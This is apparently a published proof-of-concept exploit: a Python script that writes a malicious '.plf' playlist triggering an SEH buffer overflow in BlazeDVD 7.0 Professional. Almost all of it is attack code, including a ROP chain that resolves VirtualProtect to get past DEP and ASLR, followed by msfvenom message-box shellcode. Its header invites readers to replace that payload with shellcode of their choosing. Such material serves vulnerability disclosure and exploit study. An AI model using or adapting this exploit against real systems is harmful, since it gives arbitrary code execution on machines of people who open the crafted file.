## Title: BlazeDVD 7.0 Professional - '.plf' Local Buffer Overflow (SEH,ASLR,DEP)## Author: emalp## Date: 2020-08-31## Vendor Homepage: http://www.blazevideo.com/## Software Link: http://www.blazevideo.com/download/BlazeDVDProSetup.exe## Version: 7.0.0.0## Tested on: Windows 7 Home Basic# Run this file# bfile.plf will be generated# In blazeDVD open playlist and select bfile.plf# a pop up box will appear with text 'emalp'## Change shellcode according to your needs## Shellcode max size is aroung 700 bytes.# bad chars:# \x00, \x0a, \x0b, \x1a
import struct
bfile = open('bfile.plf','w')
buf = 'A'*84
buf += struct.pack('<L', 0x60325143)# add esp, 0c; ret
buf +='AAAA'# ret 04 ting from sehandler
buf +='AAAA'*3 # bypassing 12 bytes i.e 0c
buf += struct.pack('<L', 0x6402091b)# add esp, 200; ret
buf +='A'*500
buf +='BBBB'# nseh
buf += struct.pack('<L', 0x640205b1)#sehandler; add esp, 4a0; ret 0x04#---------------------------------------------------------------------# this way we have a lot more space for shellcode.
buf +='AAAA'# esp lands here.#setting up the dynamic pointer for virtual protect
buf += struct.pack('<L', 0x61640e32)# pop eax; retn.
buf += struct.pack('<L', 0xffed06a4)# opp of 0012f95c; contains pointer to k32
buf += struct.pack('<L', 0x603267d4)# neg eax, now eax contains 0012f95c
buf += struct.pack('<L', 0x616306ed)# mov eax, dword ptr ds:[eax]# now eax has the kernel32.dll pointer
buf += struct.pack('<L', 0x61640f09)# push eax, pop esi, ret 04
buf += struct.pack('<L', 0x61640e32)# pop eax ret
buf +='XXXX'# ret 4 padding
buf += struct.pack('<L', 0xffff675d)#neg to 98a3
buf += struct.pack('<L', 0x603267d4)# neg eax; ret# right now eax = 98a3; esi = [0012f95c] = k32.dll val
buf += struct.pack('<L', 0x6033dcc4)# xchg eax,ecx; xor al,60; ret
buf += struct.pack('<L', 0x61644904)# mov eax,esi; pop esi; ret
buf +='XXXX'# pop esi padding
buf += struct.pack('<L', 0x641045f4)# sub eax,ecx# now eax has the pointer to VirtualProtect#------------------------------------------------------------------------# SETTING THE REGISTERS FOR VIRTUALPROTECT PARAM# SETTING ESI
buf += struct.pack('<L', 0x61640f09)# push eax, pop esi; ret 4# SETTING EBP
buf += struct.pack('<L', 0x60327f8f)# pop ebp; ret
buf +='XXXX'# prev ret 4 padding
buf += struct.pack('<L', 0x60349b63)# jmp esp# SETTING EBX
buf += struct.pack('<L', 0x61629938)# pop eax; ret
buf += struct.pack('<L', 0xfffffdff)# neg to 0x201
buf += struct.pack('<L', 0x6033b16b)# neg eax; ret
buf += struct.pack('<L', 0x61640124)# xchg eax,ebx# SETTING EDX
buf += struct.pack('<L', 0x616310e8)# pop eax; ret
buf += struct.pack('<L', 0xffffffc0)# neg of 0x40
buf += struct.pack('<L', 0x6033b16b)# neg eax; retn
buf += struct.pack('<L', 0x61608ba2)# xchg eax,edx# SETTING ECX
buf += struct.pack('<L', 0x6404fbb9)# pop ecx; ret
buf += struct.pack('<L', 0x1001524e)# writable location# SETTING EDI
buf += struct.pack('<L', 0x6032b0b8)# pop edi; ret
buf += struct.pack('<L', 0x6162e802)# retn (rop nop)# SETTING EAX
buf += struct.pack('<L', 0x6162d638)# pop eax; retn
buf += struct.pack('<L', 0x90909090)# nop# FINALLY PUSHAD
buf += struct.pack('<L', 0x6033cd4a)# push ad
buf +='\x90\x90\x90\x90'*4
# shellcode generated using:# msfvenom -a x86 --platform windows -p windows/messagebox TEXT="emalp"# -b '\x00\x0a\x0b\x1a'
buf +=("\xbb\x42\xa8\xb5\x43\xda\xc7\xd9\x74\x24\xf4\x5a\x33\xc9\xb1""\x41\x83\xc2\x04\x31\x5a\x0f\x03\x5a\x4d\x4a\x40\x9a\xba\x11""\x72\x69\x18\xd2\xb4\x40\xd2\x6d\x86\xad\x76\x19\x99\x1d\xfd""\x6b\x56\xd5\x77\x88\xed\xaf\x7f\x3b\x8f\x0f\xf4\x0d\x48\x1f""\x12\x07\x5b\xc6\x23\x36\x64\x18\x43\x33\xf7\xff\xa7\xc8\x4d""\x3c\x2c\x9a\x65\x44\x33\xc9\xfd\xfe\x2b\x86\x58\xdf\x4a\x73""\xbf\x2b\x05\x08\x74\xdf\x94\xe0\x44\x20\xa7\x3c\x5a\x72\x43""\x7c\xd7\x8c\x8a\xb2\x15\x92\xcb\xa6\xd2\xaf\xaf\x1c\x33\xa5""\xae\xd6\x19\x61\x31\x02\xfb\xe2\x3d\x9f\x8f\xaf\x21\x1e\x7b""\xc4\x5d\xab\x7a\x33\xd4\xef\x58\xdf\x87\x2c\x12\xd7\x6e\x67""\xda\x0d\xf9\x45\xb5\x43\xb7\x47\xaa\x0e\xaf\xc7\xcd\x50\xd0""\x71\x74\xab\x95\xfc\xaf\x51\x9a\x87\x4c\xb2\x0e\x60\xe2\x45""\x51\x8f\x72\xfc\xa5\x18\xe9\x93\x95\x99\x99\x58\xe7\x37\x3e""\xf7\x72\x3b\xdb\x75\x4c\x60\xab\x26\x88\x9c\x25\x30\x86\x5f""\x60\xb9\xaf\x62\xdb\x7a\x07\xc0\x91\xc0\xd0\x19\x0e\x6b\x36""\x7e\xb1\x74\x39\xe9\x22\xf3\x9d\xca\xd4\x62\x7a\x6e\x67\x0d""\xc9\x15\x14\xbe\xe0\x0e\x52\x1c\x26\xbb\xea\x7e\x4e\xcb\xb4""\xa0\xae\x43\x20\xcc\xcf\xff\x9b\xc7\x87\x4c\xf8\xd2\x1e\xad""\x31\x0f\x72\x7d\x63\xfd\x8d\x51\xb2\xc1\x21\xad\xe0\xc9")
buf +='\x90\x90\x90\x90'*5
buf +='E'*200
bfile.write(buf)
bfile.close()
